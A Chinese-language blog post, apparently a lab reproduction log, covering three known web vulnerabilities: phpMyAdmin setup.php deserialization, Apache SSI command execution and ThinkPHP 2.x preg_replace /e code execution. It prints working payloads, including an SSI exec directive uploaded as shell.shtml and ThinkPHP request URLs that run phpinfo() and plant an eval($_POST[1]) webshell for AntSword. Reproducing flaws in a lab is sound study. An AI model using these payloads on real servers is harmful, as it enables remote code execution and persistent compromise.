phpmyadmin scripts/setup.PHP 反序列化漏洞(WooYun-2016-199433)
漏洞原理: http://www.polaris-lab.com/index.php/archives/66/
根据提示我们先进入到 /scripts/setup.PHP 的目录下
由于 configuration 参数是可控的 所以我们可以根据 poc 或自行构造
然后这是我们序列化后的结果
然后就复现成功了
Apache SSI 远程命令执行漏洞(2019.11.27)
原理:
当目标服务器开启了 SSI 与 CGI 支持, 我们就可以上传 shtml 文件, 利用 <!--#exec cmd="id" --> 语法执行命令.
什么是 ssi
简单的来说 ssi 可以对静态的 HTML 网页进行动态的改动, 我们通过在静态的 HTML 页面中插入不同的内容, 如果不利用 ssi 的话我们需要对页面改变就需要重新生成所有的静态的 HTML, 但是如果有了 ssi 的话服务器会根据嵌入文件自动生成网页, 输出到浏览器, 如要修改则只需要修改嵌入的文件
它们允许将动态生成的内容添加到现有 HTML 页面, 而无需通过 CGI 程序或其他动态技术提供整个页面.
文章链接:
SHTML 文件
.shtml 文件就是 HTML 文件加个 ssi
CGI 支持
CGI 是一个通用网关接口(CGI 本身是一套协议和规范)
首先简单的说一下 web server 和 Web 应用程序之间的关系, 这两者的关系就像手机和手机应用程序一样. 因为 Web server 所处理的内容全部都是静态的, 所以如果想要处理动态的内容需要 CGI 的支持(需要依赖 Web 应用程序)Web server 依赖 CGI 协议将动态的请求传给 Web 应用程序进行处理, 然后 Web 应用程序处理完毕之后再通过 CGI 协议返回给 Web server(HTML 静态页面)
这里由于我们是要访问上传的那个文件的, 所以坑定是动态的请求, 这一过程是需要交给 Web 应用程序去处理的, 然后 Web 应用程序将处理后的结果返回给 Web server
这里我个人觉得我说的不够清楚我后面会继续进行修改
文章链接: https://www.jianshu.com/p/e5e471f368aa
最终结果如下图
我们通过上传 内容为
<!--#exec cmd="id" -->
的 shell.shtml, 然后访问文件地址可以发现成功
ThinkPHP 2.x 任意代码执行漏洞 (2019.11.28)
原理:
`preg_replace` 的 `/e` 模式匹配路由导致用户的输入参数被插入双引号中执行, 造成任意代码执行漏洞
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)
有漏洞的是这个文件 / trunk/ThinkPHP/Lib/Core/Dispatcher.class.PHP
- 125 - $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2″;', implode($depr,$paths));
- 125 + $res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=\'\\2\';', implode($depr,$paths));
这是官方前后发布的补丁, 我们可以看到官方把 \\2 \ 两边的双引号变成了单引号
(这里我搜了好多有关于 ThinkPHP 2.x rce 但文章但是发现好像都很难找到了, 所以这里有个疑问存留
如何知道是这个路径下的问题 是通过代码审计的嘛?
复现过程:
http://127.0.0.1:8080/index.php?s=/index/index/name/${@phpinfo()}`
既然我们都可以执行任意命令了何不来个 shell 呢?(奸笑
http://127.0.0.1:8080/index.php/index.php?s=/index/index/name/${${@eval($_POST[1])}}
别的不多说了俺们直接蚁剑安排上!!
来源: https://www.cnblogs.com/Wh7Ro/p/11960520.html